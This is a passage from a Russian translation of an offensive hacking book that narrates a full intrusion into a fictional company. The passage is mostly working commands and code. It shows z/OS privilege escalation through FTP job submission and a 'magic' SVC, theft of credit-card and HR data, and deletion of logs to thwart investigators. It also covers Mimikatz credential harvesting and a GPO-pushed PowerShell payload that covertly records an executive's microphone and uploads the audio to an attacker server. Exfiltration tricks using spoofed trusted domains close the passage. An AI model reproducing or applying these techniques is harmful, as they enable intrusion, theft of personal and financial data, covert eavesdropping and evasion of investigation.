//FTPSRV1 JOB //STEP01 EXEC PGM=IKJEFT01 //SYSTSIN DD * LISTUSER /* //SYSIN DD DUMMY //SYSTSPRT DD SYSOUT=* Каждая JCL-команда начинается с двойного слэша. Первая строка указывает имя для задания JOB, FTPSRV1, далее следует обязательное ключевое слово “JOB”. Во второй строке указывается, что мы запускаем программу IKJEFT01, это TSO (~shell) программа в z/OS. Эта программа будет принимать входные данные с карты SYSTSIN, которой мы будем давать команду “LISTUSER”. И наконец, программа будет выводить результаты выполнения команды в консольный лог, определенный картой SYSTSPRT. 65 http://archive.computerhistory.org/resources/access/text/2012/11/102658255-05-01-acc.pdf Перевод @Ianuaria skladchik.com Однако, ввиду того, что у нас нет доступа к этому консольному логу по FTP, мы даем инструкцию JCL выводить результаты выполнения команды в новый файл ( FTPSRV.OUTPUT), который мы сможем скачать позже: //FTPSRV1 JOB //STEP01 EXEC PGM=IKJEFT01 //SYSTSIN DD * LISTUSER /* //SYSIN DD DUMMY //SYSTSPRT DD DSN=FTPSRV.OUTPUT, // DISP=(NEW,CATLG), // SPACE=(TRK,1) Теперь, когда все настроено, мы можем переместить эту JCL-программу на сервер SALES(SL0210). Она готова к отправке в мэйнфрейм для исполнения. Стандартные FTP-сессии происходят в последовательном режиме (SEQ), это значит, происходит регулярная передача файлов на диск и с диска. Изменив этот режим на Планировщик ввода заданий (JES), мы сможем отправить файлы напрямую на внутренний считыватель, компонент z/OS, который исполняет все, что получает. Команда “ quote site file=jes” для FTP выполнит переключение на режим JES. Все, что мы будем далее отправлять, будет рассматриваться как JOB, а следовательно, исполняться. open 192.168.1.200 FTPSRV PASS01 quote site file=jes Перевод @Ianuaria skladchik.com put C:\Users\sysback\AppData\Local\FTPSRV.JOB quit Хорошо!66 Даем пару секунд на обработку и затем получаем обратно выходной файл при помощи простой команды get: open 192.168.1.200 FTPSRV PASS01 get 'FTPSRV.OUTPUT' FTPSRV.OUTPUT.TXT quit 66 Запомните id задания JOB – JOB04721 – потому что позже нам нужно будет удалить JOB из лога консоли. Перевод @Ianuaria skladchik.com У Userid FTPSRV совершенно нет никаких привилегий ( attributes=none) в мэйнфрейме. Это не удивляет, но вся эта операция подтверждает одну важную вещь: мы можем выполнять код и получать выходные данные! То, как обнаружить местоположение важных данных, тем не менее, это совсем другая проблема. Мэйнфреймы могут хостить практически неограниченное количество данных. Добавим к этому тот факт, что обычно они работают десятилетиями, по этой причине достаточно трудно найти ту самую папку, которая нам нужна. Иголка в стоге из нулей и единиц. Учитывая, что мы говорим только о важных, наиболее критичных данных, есть очень высокая вероятность, что они тщательно защищены. Это значит, есть ряд правил, которые определяют: “лишь эти учетные записи могут получить доступ на чтение/изменение этих данных”. Если мы сосредоточимся на обнаружении подобных правил, то сможем найти эти данные. Есть гораздо меньше правил, чем самих данных, так что это оптимальное решение. Правила доступа в z/OS обычно обрабатываются компонентами безопасности: RACF, TOPSecret или ACF2. RACF Перевод @Ianuaria skladchik.com занимает порядка 70% на рынке. Команда LISTUSER - это команда для RACF. Факт того, что она успешно выполнилась, доказывает, что мы в RACF-системе, поэтому с этим порешали. Правила RACF весьма стандартны и относительно просты для понимания.67 У нас есть три основных уровня доступа: READ, ALTER и UPDATE. Привилегия ALTER позволяет изменять содержимое и правило, защищающее ресурс, в то время как UPDATE лишь разрешает изменять содержимое. Для поиска в базе данных RACF определенных правил, затрагивающих наборы данных SALES, мы просто выполняем следующую команду: SEARCH FILTER(*.SALES.**) Но есть одна оговорка! Учитывая наши ограниченные привилегии, эта команда не будет выполняться (либо не будет ничего возвращать), за исключением следующих ситуаций: ● Учетная запись FTPSRV владеет правилом или данными, на которые это правило распространяется, что крайне маловероятно. ● Учетная запись FTPSRV обладает атрибутом SPECIAL (~root), но мы знаем, что она не обладает им. Учитывая, что первое условие наиболее недостижимо, как насчет эскалации привилегий в мэйнфрейме? Достоверно известно, что это машина, не подверженная взлому, будет ли это вообще иметь смысл? 67 Примеры команд для RACF: https://ruifeio.com/2012/02/25/useful-racf-commands-for-administrators/ Перевод @Ianuaria skladchik.com Многие люди будут удивлены, но по состоянию на 2017 год, есть ряд доступных вариантов по эскалации привилегий в мэйнфрейме. Давайте разберем их один за другим: ● Сниффинг трафика до тех пор, пока мы не повстречаем учетную запись с высокими привилегиями. Большая часть сетевых коммуникаций внутри мэйнфрейма - в открытом тексте, так что нам лишь нужно выполнить ARP-отравление, чтобы получить учетные данные. Это может занять прилично времени, но иногда это лучшее решение. ● Поиск паролей в JCL-коде и скриптах в системе. Может оказаться очень продуктивным. Однако, процедура поиска в гигабайтах файлов может вызвать пики нагрузки CPU, которые будут замечены менеджером оборудования. Клиенты мэйнфреймов платят за потребление ресурсов CPU, поэтому можно точно предположить, что они мониторят это очень тщательно. ● Поиск “волшебных” вызовов супервизора (SVC). Это специальные функции, живущие в памяти и кодируемые администраторами (или устанавливаемые программным обеспечением), для выдачи им временных высоких привилегий. Хорошая вещь, пока они тщательно защищены! Но это происходит далеко не всегда. ● Поиск слабо защищенных средств идентификации программ, обладающих доступом к запрещенным функциям (APF). Речь о специальных папках, хранящих модули ядра. Если мы сможем вставить программу в одну из подобных директорий, то получим наивысшие привилегии. К счастью, нам не нужно писать программы с нуля, чтобы выполнить эти проверки. Перевод @Ianuaria skladchik.com Вся тяжелая работа уже сделана за нас, так что мы лишь будем серфить по их волнам. Для атак посредника ознакомьтесь с инструментом от mainframed767 под названием SETn327068.68 Мы не можем запустить его на сервере Windows, поскольку он требует OpenSSL и других библиотек. Мы можем скомпилировать Python-скрипт в EXE-файл и позаботиться о зависимостях, но оставим это на крайний случай. Параллельно мы скачиваем программу ELV.SVC из 69 репозитория Github автора ayoul3. Она ищет “волшебные” SVC-функции, которые предоставляют неограниченные привилегии, и дампит их код. Мы сможем затем проверить, какого рода защита имеется, если она вообще есть. Иногда волшебные SVC могут требовать размещения в реестр определенной строки или числа перед выдачей авторизации. Как только мы разберемся с этим, то сможем указывать ELV.SVC, какие данные в какой реестр размещать, затем предоставим ей возможность выполнить свою работу: создание программы, которая вызывает SVC, получает полные привилегии, затем повышает нашу учетную запись до статуса SPECIAL. Стоит отметить, что ELV.SVC - это не JCL-файл, а REXX-скрипт, аналог Python в z/OS. Во-первых, нам нужно переместить его в мэйнфрейм, затем запустить задание JOB, которое исполнит этот скрипт: open 192.168.1.200 FTPSRV PASS01 68 https://github.com/zedsec390/defcon23/tree/master/Network%20Tools/SETn3270 69 https://github.com/ayoul3/Privesc/blob/master/ELV.SVC Перевод @Ianuaria skladchik.com put C:\Users\sysback\AppData\Local\ELV.SVC quit Карты JCL для запуска этого скрипта те же самые, что и ранее. Опция “ LIST”, передаваемая в ELV.SVC, ищет волшебные SVC в памяти: //FTPSRV1 JOB //STEP01 EXEC PGM=IKJEFT01 //SYSTSIN DD * ex 'FTPSRV.ELV.SVC' 'LIST' /* //SYSIN DD DUMMY //SYSTSPRT DD DSN=FTPSRV.OUTPUT2, // DISP=(NEW,CATLG), // SPACE=(TRK,1) Теперь мы JES-компонент: готовы запушить это open 192.168.1.200 FTPSRV PASS01 quote site file=jes put C:\Users\sysback\AppData\Local\FTPSRV.JOB2 quote site file=seq get 'FTPSRV.OUTPUT2’ FTPSRV.OUTPUT2.TXT quit Перевод @Ianuaria skladchik.com задание JOB в Кажется, в конце концов нашелся волшебный SVC - номер 226! Я не буду вдаваться в подробности ассемблерного кода, поскольку это выходит далеко за пределы цели этой книги70, но поверьте, нет никаких проверок безопасности, выполняемых этим SVC.71 Любой, кто сможет вызвать SVC 226 правильно, сможет получить доступ ко всем богатствам, которые только может предоставить z/OS… Весьма пугающе, не так ли? Мы снова дорабатываем JCL-карты, чтобы дать ELV.SVC инструкцию на использование SVC номер 226. Нам также нужно создать библиотечный набор данных “ FTPSRV.PDS()”, куда ELV.SVC сможет скомпилировать свою полезную нагрузку. //FTPSRV1 JOB //PDS DD DSN=FTPSRV.PDS(NEWMEM),DISP=(NEW,CATLG), // SPACE=(TRK,(1,1,24)),RECFM=U // //STEP01 EXEC PGM=IKJEFT01 //SYSTSIN DD * ex 'FTPSRV.ELV.SVC' 'DSN=FTPSRV.PDS SVC=226' 70 Отличный ресурс для изучения ассемблера под z/OS: http://www.billqualls.com/assembler/ 71 Перед тем, как начать ворчать, мол, подобное невозможно и никоим образом не отражает реальность, я советую вам изучить детали инцидента с мэйнфреймом в компании Logica. ( прим. переводчика: видимо, имеется ввиду взлом мэйнфрейма от IBM в компании Logica, который осуществил сооснователь The Pirate Bay Готтфрид Свартхолм Варг). Перевод @Ianuaria skladchik.com /* //SYSIN DD DUMMY //SYSTSPRT DD DSN=FTPSRV.OUTPUT3, // DISP=(NEW,CATLG), // SPACE=(TRK,1) Снова запускаем это задание JOB через доверенный FTP-сервис, затем извлекаем файл с выходными данными: Великолепно! Все прошло гладко. Проверяем привилегии FTPSRV, используя ту же самую команду LISTUSER, что и ранее: Наконец-таки, SPECIAL! Теперь, когда у нас есть достаточные привилегии в RACF, мы можем выполнить заветную команду для поиска search: //FTPSRV1 JOB //STEP01 EXEC PGM=IKJEFT01 //SYSTSIN DD * SEARCH FILTER(*.SALES.**) /* //SYSIN DD DUMMY //SYSTSPRT DD DSN=FTPSRV.OUTPUT5, // DISP=(NEW,CATLG), Перевод @Ianuaria skladchik.com // SPACE=(TRK,1) Красиво, не так ли? Данные по продажам, товарам, номера кредитных карт и так далее. Все, что в действительности остается сделать, это скачать данные файлы при помощи знакомой команды mget. open 192.168.1.200 FTPSRV PASS01 mget SALESMAS.SALES.ACOUNTS.* prompt mget SALESMAS.SALES.PRODUCTS.* prompt mget ARCHIVE.SALES.* prompt quit Перед тем, как покинуть мэйнфрейм, нам нужно стереть те файлы, которые мы создали на диске. Следователи пусть ищут зацепки без нашей помощи. Этот простой JCL-код позаботится об этом: //FTPSRV1 JOB,MSGLEVEL=0 //STEP01 EXEC PGM=IKJEFT01 //SYSTSIN DD * DELETE 'FTPSRV.OUTPUT1' DELETE 'FTPSRV.OUTPUT2' DELETE 'FTPSRV.OUTPUT3' DELETE 'FTPSRV.OUTPUT4' DELETE 'FTPSRV.OUTPUT5' Перевод @Ianuaria skladchik.com DELETE 'FTPSRV.PDS' DELETE 'FTPSRV.ELV.SVC' OUTPUT FTPSRV1(JOB04721) delete OUTPUT FTPSRV1(JOB04722) delete OUTPUT FTPSRV1(JOB04723) delete OUTPUT FTPSRV1(JOB04724) delete OUTPUT FTPSRV1(JOB04725) delete ALU FTPSRV NOSPECIAL NOOPERATIONS /* //SYSIN DD DUMMY //SYSTSPRT DD SYSOUT=* Мы добавили команду MSGLEVEL=0 в карте JOB, чтобы не логировать ключевое содержимое этого последнего запущенного JCL-кода. Логи, касающиеся предыдущих JCL-кодов, удаляются при помощи нескольких команд “ OUTPUT”. И наконец, мы удаляем привилегии учетной записи SPECIAL и OPERATIONS, чтобы вернуть все как было. Все прошло не так уж и плохо, как считаете? Мэйнфреймы так сильно игнорируются хакерским сообществом, что мы лишь можем предположить, что они устарели и в скором времени исчезнут. Среднестатистический пентестер предпочитает охотиться за электронными письмами и контроллерами доменов, в то время как реальные данные могут находиться в наборах данных в мэйнфрейме с (порой) слабым аудитом безопасности... Домен отдела кадров (HR) Знакомство - еще раз В прошлой главе мы воспользовались резервной учетной записью, представленной на обоих доменах: GBSALES и GBSHOP. Этот же трюк мы можем снова выполнить с рядом других доменов: GBRD, GBCORP и так далее. Перевод @Ianuaria skladchik.com Однако, кажется, что GBHR, домен отдела кадров, не имеет этой учетной записи. Удачливая ошибка администратора или реальная мера усиления защиты? Кто бы знал… в любом случае, мы применим другой подход к этому домену: будем охотиться за системными администраторами. У нас уже есть тотальный контроль над несколькими машинами в разных доменах. Следовательно, мы можем задампить пароли в открытом тексте последних подключенных пользователей на практически всех этих машинах, превратим их в настоящие мины-ловушки на тот случай, если кто-либо подсоединится к этим машинам. Лишь вопрос времени, когда пользователь GBHR, запланированная задача или служебная учетная запись подключится к одной из этих ловушек, оставив свои учетные данные в памяти! При помощи нашего агента в домене GBSALES мы начинаем с вывода списка администраторов домена в GBHR: Перевод @Ianuaria skladchik.com Принцип довольно простой: мы непрерывно производим перекрестную проверку между этим списком и текущими активными пользователями на разных серверах GBSALES и GBSHOP - а это более 400 машин. Если мы заметим одного из админов GBHR на определенной машине, мы подключаемся к ней, снимаем дамп паролей в чистом тексте при помощи Mimikatz, и вуаля! Если нам не повезет (иногда происходит мало активности), мы попробуем снова через несколько часов. В конце концов, логично, что на определенном этапе времени учетная запись администратора HR зайдет на ресурс GBSHOP или GBSALES. Иначе зачем вообще двустороннего доверия. заморачиваться Перевод @Ianuaria skladchik.com с настройкой Кажется, есть интересная активность на сервере SL0213, принадлежащем домену GBSALES. Мы движемся на этот сервер, порождая удаленный агент Empire при помощи WMI: Все, что нам нужно теперь - это спустить Mimikatz на жертву: Перевод @Ianuaria skladchik.com Третий домен пал: svc_ps/Sheldon*01 Охота за данными Только владея учетной записью администратора домена, мы можем начать разгадывать, где хранятся данные по персоналу. Конечно, мы можем собрать кое-что в окрестностях, выполнив поиск общих ресурсов (модуль share_finder), но реальный источник должен базироваться в структурированной базе данных!72 Мы размещаем агент на одном из множества HR-серверов, используя WMI в качестве вектора для горизонтального продвижения: Простой запрос для поиска ключевого слова “HR” в описании сервера возвращает результаты, которые выглядят многообещающе: 72 Эти данные могут также быть в мэйнфрейме, но пожалуйста, будьте снисходительными к этому моменту. Я хотел внести немного разнообразия. Перевод @Ianuaria skladchik.com К нашему огромному удовольствию, администраторов учат выбирать осмысленные имена для серверов и тексты с описанием. Им и приходится это делать, иначе управлять информационной системой будет дьявольски трудно. Это облегчает нашу работу. База данных HR, очевидно, в SR0040.GBHR.CORP. Поскольку она хостится на сервере Windows, мы можем сделать довольно смелое предположение, что база данных работает на Microsoft SQL Server, и попробовать обратиться к ней напрямую. Но давайте уделим несколько секунд, чтобы подтвердить эту гипотезу. Быстрое сканирование по стандартным SQL-портам должно проверить: 1521 для Oracle, 3306 для MySQL и 1433 для SQL Server (хотя после версии 2008, порты, как правило, выбираются динамически). Перевод @Ianuaria skladchik.com Отлично! Изумительная особенность SQL Server в том, что обычно он связан с доменом Windows. Если домен падет, также падет и база данных Microsoft SQL Server. У нас есть учетная запись администратора домена, так что теоретически - все в нашей досягаемости. Тем не менее, порой базы данных SQL имеют разграничение доступа для нескольких групп безопасности, так что нам нужно быть частью правильной группы Active Directory. Конечно же, это чисто формальность. Мы можем добавить svc_ps в любую группу, которую посчитаем необходимой. В любом случае, чтобы взаимодействовать с базой данных HR, мы загружаем PowerShell-модуль в агент Empire, чтобы он мог выполнять SQL-запросы. Следующий скрипт отлично с этим справится.73 Стоит отметить пару интересных моментов: ● Скрипт Invoke-SqlCommand.ps1 был загружен агентом в память. Он не притрагивался к диску на удаленном сервере. 73 https://blog.jourdant.me/post/simple-sql-in-powershell Перевод @Ianuaria skladchik.com ● Поскольку мы в действительности не знаем о формате базы данных, мы выбрали для доступа дефолтный вариант: master. Мы могли бы также попробовать с tempdb или многими другими. ● Мы имеем дело с SQL Server 2008. ● Нам не нужно было предоставлять учетные данные попросту потому, что Windows автоматически направил идентификатор svc_ps. Судя по всему, быть администратором домена было достаточно для получения доступа к базе данных. Самое время повеселиться! Первое, что нужно сделать в базе данных - это проверить привилегии текущего пользователя. SQL-запрос следующий74: "SELECT is_srvrolemember('sysadmin')" Как и ожидалось, у нас полные привилегии в системе. Мы можем вывести список текущих баз данных при помощи следующего запроса: "SELECT name FROM master.dbo.sysdatabases" Поскольку запрос скорее всего вернет больше одного столбца, нам нужно сконвертировать формат выходных данных в строку, чтобы иметь возможность просмотреть их через агент Empire. Добавим следующую команду в Invoke-SqlCommand: “| out-string”: 74 В блоге Pentest Monkey есть коллекция SQL-запросов, полезных для пентестинга: http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet Перевод @Ianuaria skladchik.com HR_master представляется наиболее разумным выбором… вместо вывода ее таблиц - их может легко оказаться несколько тысяч - и ручной обработки каждой из них, мы будем просто искать таблицы, содержащие ключевые слова: designers (дизайнеры), employees (сотрудники), wage (заработная плата) и так далее, чтобы пробиться через этот стог75: select table_name from hr_master.information_schema.tables table_type = 'base table' and table_name like '%employee%' 75 % - это метасимвол в большинстве SQL-систем. Перевод @Ianuaria skladchik.com where Джекпот! Теперь мы можем насладиться просмотром этих таблиц в поисках нужных нам данных: дизайнеры, зарплаты, оценка работы персонала и так далее.76 select * from hr_master..Employee_GB_Full Чтобы вывести данные в файл, мы просто добавляем PowerShell-команду: |output-file -append c:\users\svc_ps\appdata\local\out.txt Позаботимся о безопасном извлечении в следующих главах. Заседания совета директоров К настоящему времени мы смогли справиться с двумя из трех наших задач по списку. Последняя - шпионаж за членами совета директоров - вероятно, самая легкая задача, поскольку мы уже настолько сильно углубились внутрь компании. Чтобы внедриться в заседания руководства компании, нам нужно лишь нацелиться на одного из сотрудников, который будет достоверно входить в их число. Поскольку мы в Windows домене HR, может нам поискать директора по персоналу? Быстрый поиск в Active Directory раскрывает детали: 76 Перед снятием дампа целой таблицы, будет правильно сначала получить имена релевантных и интересных столбцов для дампа. Перевод @Ianuaria skladchik.com Мы можем отследить все устройства Элис (Elise), пройдя по логам соединений, хранящимся на контроллере домена: Всплывают две машины. Мы могли бы нацелиться на обе, но мне любопытно, какова необходимость в использовании двух компьютеров? Элис хранит критичные данные на одном компьютере, а на другом нет? SPHR0098 - это ее персональный ноутбук? И так далее. Перевод @Ianuaria skladchik.com Давайте получим данные по каждой из этих машин, используя модуль get_computer: Ну конечно! Планшет Microsoft Surface Pro! Похоже, второе устройство - это ее “нормальный” ноутбук. Рабочая станция, вероятно, используется для офисной работы, в то время как планшет, возможно, используется для быстрых записей во время рабочих поездок… или важных совещаний - заседаний совета директоров! У нас появилась цель! Surface Pro использует такое же ядро Windows, как и любая другая традиционная рабочая станция. Мы можем быстро просканировать его и проверить, есть ли доступные порты: Заперто! Окей, немного сложнее, чем изначально предполагалось. У нас нет пути внутрь. Но вот в чем красота Windows. Помните, мы говорили о некоторых настройках доменов, которые иногда отправляются контроллером домена? Что если мы сможем сконфигурировать настройку, которая будет говорить: “Если ты машина X, то исполни этот код”? Это Перевод @Ianuaria skladchik.com вообще возможно? Разумеется, да. У этого способа даже есть название: Объекты групповой политики (GPO)! Идея состоит в создании GPO, который нацелится на планшет HR и даст ему команду на исполнение рандомного PowerShell-скрипта. Ну, в действительности это будет далеко не рандомный скрипт. Этот изящный код будет стартовать каждый раз, когда Элис залогинивается, и будет записывать внешние звуки при помощи дефолтного микрофона. Чтобы обеспечить получение этих данных для нас, он будет пушить их каждые 10 минут на сервер Front Gun. Во-первых, мы начнем с PS-скрипта, который будет записывать аудио. Скачиваем готовый к использованию модуль PowerSploit под названием Get-MicrophoneAudio от автора @sixdub7777, затем подготавливаем цикл, который будет дампить аудио-файл каждые 10 минут: while($true) { $i++; $browser = New-Object System.Net.WebClient $browser.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX($browser.DownloadString("https://raw.githubusercontent.com/Power ShellMafia/PowerSploit/MicrophoneAudio.ps1")); Get-MicrophoneAudio -path c:\users\ejansen\appdata\local\file$i.wav -Length 600 } 77 https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Exfiltration/Get-MicrophoneAudi o.ps1 Перевод @Ianuaria skladchik.com сниппет кода будет непрестанно записывать Этот 10-минутные аудио-файлы размером порядка 6 Мб каждый. По окончании записи нам необходимо скачать файл и затем снова запустить запись. Чтобы избежать потери драгоценных секунд, пока файлы скачиваются, нам нужно запускать процесс загрузки в качестве задания, так чтобы он работал параллельно с непосредственным скриптом: while($true) { $i++; $browser = New-Object System.Net.WebClient $browser.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; IEX($browser.DownloadString("https://raw.githubusercontent.com/PowerShellMafia/ PowerSploit/MicrophoneAudio.ps1")); Get-MicrophoneAudio -path c:\users\ejansen\appdata\local\file$i.wav -Length 600 start-job -Name Para$i -ArgumentList $i -ScriptBlock{ $i = $args[0]; $browser = New-Object System.Net.WebClient; $browser.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}; $browser.uploadFile("https://<frontgun_ip/", " c:\users\ejansen\appdata\local\file$i.wav");} } Ничего нового “под капотом”, за исключением SSL-команды, которая инструктирует PowerShell принимать самоподписанные сертификаты. Действительно, мы выбираем защищенную передачу файлов, используя созданную на скорую руку настройку сервера при помощи Python-скрипта.78 78 https://github.com/HackLikeAPornstar/GibsonBird/tree/master/chapter5 Перевод @Ianuaria skladchik.com Этот скрипт использует OpenSSL для шифрования передаваемых файлов, поэтому нам сначала нужно сгенерировать самоподписанный SSL-сертификат (а еще лучше, бесплатный доверенный сертификат от Let's Encrypt, если вы не против зарегистрировать DNS-имя79 для сервера Front Gun): Великолепно! Этот небольшой маневр работает на отлично! Нам нужно преобразовать этот скрипт в однострочный при помощи Base64-кодирования, так чтобы он уместился в ключ реестра, который мы позже установим при помощи параметра GPO: Для запуска этого следующую команду: кода нам нужно лишь Powershell.exe -NonI -W Hidden -enc aQBtAHAAbwByA[…] 79 https://letsencrypt.org/getting-started/ Перевод @Ianuaria skladchik.com выполнить Пейлоад готов, давайте сконцентрируемся на процессе создания GPO. Во-первых, мы активируем и импортируем модули Групповых Политик в PowerShell. Мы включаем команды в PS-функцию, чтобы легко вызывать их через агент позже: function initialize-gpo(){ Add-WindowsFeature GPMC import-module group-policy write-output "Initialization Done!" } Далее создаем новый GPO под названием WindowsUpdate и указываем контроллер домена GBHR, SR0088. Function create-gpo() { New-GPo -name SR0088.GBSHR.CORP WindowsUpdate -domain GBHR.CORP -Server Мы хотим нацелиться только на учетную запись Элис на компьютере SPHR0098, поэтому ограничиваем область применения этого GPO: Set-GPPermissions -Name "WindowsUpdate" -Replace GpoApply -TargetName "ejansen" -TargetType user -PermissionLevel Set-GPPermissions -Name "WindowsUpdate" -Replace GpoApply -TargetName " SPHR0098" -TargetType computer -PermissionLevel Set-GPPermissions -Name "WindowsUpdate" -PermissionLevel TargetName "Authenticated Users" -TargetType Group None Наконец, направляем его на домен GBHR для его активации: New-GPLink -Name WindowsUpdate -Domain GBHR.CORP -Target "dc=gbhr,dc=corp" -order 1 -enforced yes Перевод @Ianuaria skladchik.com - Далее инструктируем GPO, который мы создали, на установку ключа в раздел реестра “ Run” в следующий раз, когда планшет Элис будет запрашивать новые параметры GPO (каждые 20 минут). Ключ в разделе реестра “Run” автоматически запустит исполняемый файл или команду во время входа в систему. Мы передаем ему PS-пейлоад, который приготовили ранее: Set-GPRegistryValue -Name "WindowsUpdate" -key "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" ValueName MSstart -Type String -value "powershell.exe -NoP -sta -NonI -Enc aQBtAHAAbwByA […]" write-output "Created GPO successfully!" #End of create-gpo function } Загружаем этот скрипт в память агента Empire при помощи модуля scriptimport, затем вызываем функцию инициализации для установки модулей GPO, с последующей функцией create-gpo для запуска пейлоада: Откидываемся в кресле и наслаждаемся процессом заливки файлов на сервер Front Gun. Чтобы удалить этот GPO по завершении данной задачи, просто выполняем: Перевод @Ianuaria skladchik.com Извлечение данных Во время нашей “прогулки” по информационной системе GibsonBird мы накопили множество данных! Гигабайты данных по продажам, заработные платы персонала, данные кредитных карт и различные файлы из рандомных общих ресурсов. Все это реально очень хорошо, но пока мы не сможем найти способ доставки всего этого в безопасную локацию - на сервер Front Gun или другой виртуальный частный сервер (VPS), мы по-прежнему “заперты”. В ситуации с извлечением данных следует пристальное внимание двум ключевым моментам: уделять ● Адрес, на который данные отправляются: какой домен использовать? Находится ли IP-адрес в черном списке? ● Содержимое! Если окажется, что GibsonBird анализирует выходной трафик, а мы случайно переместим документ Word, содержащий критичные ключевые слова, то это поднимет все возможные виды тревоги. Проблему с содержимым довольно легко решить. Мы попросту заархивируем все документы, которые подлежат отправке, и чтобы избежать подозрений, преобразуем их в бессмысленный текстовый файл. Допустим, мы хотим переместить следующую директорию: c:\users\elise\documents. Во-первых, заархивируем ее при помощи модуля Empire: Перевод @Ianuaria skladchik.com Далее мы кодируем ее при помощи certutil -encode для конвертации этого zip-документа в текстовый файл (base64-кодирование): Достаточно просто. Теперь о домене, на который данные будут извлекаться. Здесь нужно быть немного более деликатными. Некоторые компании используют прокси, которые способны классифицировать URL-адреса. Например, они пропустят google.com, но заблокируют drive.google.com или pastebin.com. Мы можем поиграться и попробовать рандомное новое DNS-имя для сервера Front Gun, но зачем оставлять это на волю случая? Почему бы не выбрать DNS-имя, которое будет с большей вероятностью доверенным и находиться в белом списке? Как насчет зарегистрировать выделенный сервер на Amazon? Таким образом мы получим легитимный домен, заканчивающийся на amazonaws.com. Нам не нужно помещать на него какие-либо данные; он может просто перенаправлять трафик на сервер Front Gun. Перевод @Ianuaria skladchik.com Более того, учитывая их программу уровней бесплатного пользования, нам даже не нужно предоставлять данные кредитной карты для аренды сервера на ограниченное количество времени. Если вы не чувствуете себя комфортно конкретно с Amazon, есть другая интересная альтернатива. Веб-сайт Expireddomains.comпредлагает список недавно истекших доменов. Можно поискать домены известных компаний медицинского страхования, банкинга и других доверенных сервисов, которые недавно перестали работать, и попытаться купить их. Нам не обязательно нужен веб-сайт вида *.com; при условии, что имя доверенного сервиса есть в URL, он скорее всего пройдет большинство инструментов для работы с белыми списками. Как насчет CVS Health, крупнейшего медицинского страховщика в США? Это должно подойти. Как только мы зарегистрируем домен и свяжем его с сервером Front Gun, то сможем настроить простой HTTPs Python сервер на Front Gun, как и ранее: Далее перемещаем файл следующие PowerShell-команды80: document.txt, 80 используя Если мы потрудились и зарегистрировали домен, можно также сгенерировать валидный доверенный сертификат от Let’s Encrypt. Перевод @Ianuaria skladchik.com Вот так это делается, ребята! Пусть навороченные системы предотвращения утечек информации (DLP) никогда больше не будут производить на вас впечатления. Они представляет собой лишь очередной маркетинговый инструмент для заработка денег. Как только мы получаем данные, мы всегда можем найти способы по их извлечению! Итоги Я надеюсь, вам понравилась эта вторая книга из серии “Взламываем планету”, а самое главное, что вы узнали о новых техниках и клевых трюках, которые помогут вам в проведении собственных исследований и формировании собственного мнения при чтении новостных статей об атаках со стороны продвинутых постоянных угроз (APT)... Не всегда все то, о чем они говорят, правда. И напоследок, всегда помните, что хакинг не завязан на инструменты или даже технологии - они быстро выходят из игры. Хакинг - это дух любознательности (а также контроль над одержимостью). Желаю хорошо повеселиться, нагибая мир!81 https://hacklikeapornstar.com 81 Разумеется, в рамках закона ;-) Перевод @Ianuaria skladchik.com